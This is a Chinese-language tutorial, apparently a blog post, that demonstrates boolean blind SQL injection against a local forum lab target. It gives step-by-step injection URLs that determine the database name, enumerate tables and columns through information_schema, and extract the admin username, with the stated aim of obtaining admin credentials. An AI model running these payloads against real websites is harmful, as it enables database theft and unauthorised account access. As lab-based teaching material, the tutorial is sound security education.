SQL注入漏洞(盲注) 在线安全检测,网站漏洞修复?

SQL注入漏洞(盲注) 在线安全检测,网站漏洞修复?

布尔盲测的目的是精准扒出一个目标数据库全部信息,比如我们通过布尔盲注,首先“猜出来”数据库名,然后猜出来user表,再猜出来username/password,最后拿到管理员账号,然后我们就能直接用账号和密码直接登录进网站后台了。相当于是个“拿钥匙”的玩法。

我们用布尔盲注来做个SQL注入,还是拿靶机来试一试。今天这个靶机是一个bbs的靶机。

打开cmd,进入小皮,输入下面这些环境代码。

把靶场文件复制到小皮文件夹里的www里

打开地址:

http://localhost/bbs/showmessage.php?id=2

就可以进入论坛靶场

我们先假设id=2

意思是,在地址栏输入完整的:

http://localhost/你的靶场目录/showmessage.php?id=2

我的靶场目录是在bbs里,所以完整的版本地址是:

http://localhost/bbs/showmessage.php?id=2

就会出现已经进入到“留言内容”的正常页面了。

把地址改为:

localhost/bbs/showmessage.php?id=2 and 1=1

“真条件”界面无变化,我们再看“假条件”界面。

把地址改为:

localhost/bbs/showmessage.php?id=2" and "1"="2

(刚试了没加引号,假条件测试无效,所以此处改为了双引号)

输入完,我们可以看出,触发了SQL语法错误,证明这个id参数是可以注入的。并且是报错注入。

先猜猜数据库名长度是不是超过5了

在地址栏输入:

localhost/bbs/showmessage.php?id=2" and length(database())>5 and "1"="1

这个显示意思是,SQL语法错误,意思是,这个条件是假的,说明数据库名长度不大于5

因为如果length(database())>5为真的时候,页面显示是“留言内容”。

那么我们再试试是不是等于4

说明数据库名长度为4

接下来就是用ASCII码来“猜”名字。我们首先打开密码本。网上随便搜,都能搜到,就是下面这个密码本

我们先猜第一个字符的ASCII码范围

输入地址,猜是不是小于123

localhost/bbs/showmessage.php ?id=1and ascii(substr(database(),1,1))<123

没有报错,正常显示,说明这个条件是真的,那意思是,第一个字符ASCII码小于123,符合a-z的范围。

然后我们再猜是不是大于64

输入:

localhost/bbs/showmessage.php?id=1and ascii(substr(database(),1,1))>64

结果是错的,所以不大于64,我们再试试47

发现就对了

那再试试大于100

是来市区,发现是106,那么我们搜ASCII表,是j

那说明,第一个字符是 j

以此类推,我们再试试第二个字符。第二个的是(2,1),第三个是(3,1),第四个是(4,1)

为了减少时间,我们直接打测试出来的答案:

第二个字符是114

第三个字符是108

第四个字符是116

查表我们可以得出答案是:

jrlt

在地址栏输入:

http://localhost/bbs/showmessage.php?id=1and database()='jrlt'

页面显示正常,说明数据库名没问题

先要知道,数据库里有多少个表?

首先试试,是不是小于5个表

输入:

http://localhost/bbs/showmessage.php?id=1 and (select count(table_name)from information_schema.tables where table_schema = database())<5

意思是,数据库数量少于5个

那我们在试试数据库数量是不是小于2

http://localhost/bbs/showmessage.php ?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<2

不是小于2

输入=2,数据库显示正常,说明数据库的数量是2

然后我们继续往下猜第一张表长度、名字

用上面的方式,我们实验出第一个数据表长度为8,第二个数据表长度是5

再依此获取表名:

依次获得第一个表为 messages,同理获得第二表为 users

再获取user表的列数为5

?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5

再获取第一个字段的长度

分别是2、4、8

再获取第一个字段的名称:

获得第一个字段的名称是 id,同理可以获得其他字段 name,password,photo,money

?id=1 and (select LENGTH(name) from users LIMIT 0,1)=5

最终数据为admin

说明用户名是admin,密码同理